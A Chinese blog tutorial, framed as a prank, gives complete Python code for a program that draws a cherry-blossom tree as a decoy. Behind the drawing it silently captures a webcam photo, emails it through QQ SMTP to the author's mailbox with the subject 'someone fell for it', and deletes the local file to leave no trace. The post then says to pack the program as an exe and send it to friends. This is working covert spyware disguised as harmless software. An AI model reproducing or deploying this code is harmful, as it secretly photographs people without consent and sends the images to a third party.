首先呢需要一些准备工作
调用摄像头要安装opencv库
打包exe需要pyinstaller库
为了完成我们的“恶作剧”我们需要实现:画樱花树+启动摄像头+拍照+通过邮件发回+删除照片 等功能
为了方便实现以上功能,把每一个模块都做成函数,最后调用
- 画樱花树
用turtle库绘制樱花的代码很多,也都很好,在此引用没人关注-python樱花树的代码加以改装,写成函数格式
代码如下:
import turtle as T
import random
import time
# 画樱花的躯干(60,t)
def Tree(branch, t):
time.sleep(0.0005)
if branch > 3:
if 8 <= branch <= 12:
if random.randint(0, 2) == 0:
t.color('snow') # 白
else:
t.color('lightcoral') # 淡珊瑚色
t.pensize(branch / 3)
elif branch < 8:
if random.randint(0, 1) == 0:
t.color('snow')
else:
t.color('lightcoral') # 淡珊瑚色
t.pensize(branch / 2)
else:
t.color('sienna') # 赭(zhě)色
t.pensize(branch / 10) # 6
t.forward(branch)
a = 1.5 * random.random()
t.right(20 * a)
b = 1.5 * random.random()
Tree(branch - 10 * b, t)
t.left(40 * a)
Tree(branch - 10 * b, t)
t.right(20 * a)
t.up()
t.backward(branch)
t.down()
# 掉落的花瓣
def Petal(m, t):
for i in range(m):
a = 200 - 400 * random.random()
b = 10 - 20 * random.random()
t.up()
t.forward(b)
t.left(90)
t.forward(a)
t.down()
t.color('lightcoral') # 淡珊瑚色
t.circle(1)
t.up()
t.backward(a)
t.right(90)
t.backward(b)
def draw():
# 绘图区域
t = T.Turtle()
# 画布大小
w = T.Screen()
t.hideturtle() # 隐藏画笔
t.getscreen().tracer(5, 0)
w.screensize(bg='wheat') # wheat小麦
t.left(90)
t.up()
t.backward(150)
t.down()
t.color('sienna')
# 画樱花的躯干
Tree(60, t)
# 掉落的花瓣
Petal(200, t)
w.exitonclick()
draw()
画出来的样子也十分漂亮,而且每一次都是随机的,每一次的樱花树都不一样,具体效果可以自己运行试一试
- 启动摄像头并拍照保存
用opencv加以简单的代码就可以实现摄像头的打开,为了隐蔽性,程序中仅拍了一张照片,并且没有显示在桌面上,也就是没有*cv2.imshow(‘Frame’, frame)这段函数。
保存照片需要用到cv2.imwrite(“d:/photo.jpg”, frame)即可,就以jpg格式保存在d盘中。
并且用imgType = imghdr.what(“d:/photo.jpg”)*检验是否保存成功,如果是立马break出这个函数。
完整代码如下:
from cv2 import cv2
import imghdr
import time
def camera():
capture = cv2.VideoCapture(0)
time.sleep(3)
while(True):
# 获取一帧
ret, frame = capture.read()
cv2.imwrite("d:/photo.jpg", frame)
#显示帧
imgType = imghdr.what("d:/photo.jpg")
print(imgType)
if imgType == "jpeg":
break
if cv2.waitKey(1) == ord('q'):
break
camera()
- 通过邮件发回
主要是用python发送SMTP邮件(基于QQ邮箱),相关设置准备可以看另一篇博客:如何用python发邮件不过两者也有一些不同,此次的邮件中包含照片,在此直接给出代码:
只需要填写下面四处有标记的地方即可
# ! /usr/bin/env python
# coding=utf-8
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
def send():
sender = '***@qq.com' # 发件人邮箱
receivers = '113****@qq.com' # 收件人邮箱
message = MIMEMultipart('related')
subject = '有人上当了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
message.attach(content)
file=open("c:/****.jpg", "rb") # 图片地址
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server=smtplib.SMTP_SSL("smtp.qq.com",465)
server.login(sender,"*****") # QQ邮箱开通SMTP邮件,并生成的授权码
server.sendmail(sender,receivers,message.as_string())
server.quit()
print ("邮件发送成功")
except smtplib.SMTPException as e:
print(e)
send()
- 删除照片
删除文件的代码很简练,删除照片的函数一般放在发送邮件的函数中,一旦完成就删除照片,不留痕迹,哈哈。
import os,sys
def dele():
os.remove("d:/photo.jpg")
dele()
- 完整代码
接下来就是把以上的代码融合起来,形成一个综合代码,完整代码如下:
from cv2 import cv2
import imghdr
import time
import os,sys
import smtplib
import turtle as T
import random
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
# 画樱花的躯干(60,t)
def Tree(branch, t):
time.sleep(0.0005)
if branch > 3:
if 8 <= branch <= 12:
if random.randint(0, 2) == 0:
t.color('snow') # 白
else:
t.color('lightcoral') # 淡珊瑚色
t.pensize(branch / 3)
elif branch < 8:
if random.randint(0, 1) == 0:
t.color('snow')
else:
t.color('lightcoral') # 淡珊瑚色
t.pensize(branch / 2)
else:
t.color('sienna') # 赭(zhě)色
t.pensize(branch / 10) # 6
t.forward(branch)
a = 1.5 * random.random()
t.right(20 * a)
b = 1.5 * random.random()
Tree(branch - 10 * b, t)
t.left(40 * a)
Tree(branch - 10 * b, t)
t.right(20 * a)
t.up()
t.backward(branch)
t.down()
# 掉落的花瓣
def Petal(m, t):
for i in range(m):
a = 200 - 400 * random.random()
b = 10 - 20 * random.random()
t.up()
t.forward(b)
t.left(90)
t.forward(a)
t.down()
t.color('lightcoral') # 淡珊瑚色
t.circle(1)
t.up()
t.backward(a)
t.right(90)
t.backward(b)
def draw():
# 绘图区域
t = T.Turtle()
# 画布大小
w = T.Screen()
t.hideturtle() # 隐藏画笔
t.getscreen().tracer(5, 0)
w.screensize(bg='wheat') # wheat小麦
t.left(90)
t.up()
t.backward(150)
t.down()
t.color('sienna')
# 画樱花的躯干
Tree(60, t)
# 掉落的花瓣
Petal(200, t)
w.exitonclick()
def send():
sender = '113******@qq.com' # 发件人邮箱
receivers = '113****@qq.com' # 收件人邮箱,可以和发件人一致
message = MIMEMultipart('related')
subject = '有人上当了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
message.attach(content)
file=open("d:/photo.jpg", "rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server=smtplib.SMTP_SSL("smtp.qq.com",465)
server.login(sender,"*********") # 授权码
server.sendmail(sender,receivers,message.as_string())
server.quit()
print ("启动成功!即将绘图")
dele() # 发送成功后删除照片
except smtplib.SMTPException as e:
print(e)
def dele():
os.remove("d:/photo.jpg")
def camera():
capture = cv2.VideoCapture(0)
time.sleep(3)
while(True):
# 获取一帧
ret, frame = capture.read()
cv2.imwrite("d:/photo.jpg", frame)
imgType = imghdr.what("d:/photo.jpg")
if imgType == "jpeg":
break
if cv2.waitKey(1) == ord('q'):
break
while True:
draw()
camera()
send()
draw()
以上就是完整代码,需要注意的是程序中的四处图片地址需要保持一致,邮箱授权码等。
把代码用pyinstaller 打包成exe文件后,即可分享给你的朋友了。
- 示例和疑惑
下面是示例,有人上当后就会自动发送邮件到你的邮箱(小心多线程报复)
但是通过我的分享发现有很多人不能完整执行,画樱花树没问题,也能启动相机,一般会卡在发邮件上,不知道为啥。
如果说还有什么隐藏的bug我没有发现,还请高手赐教。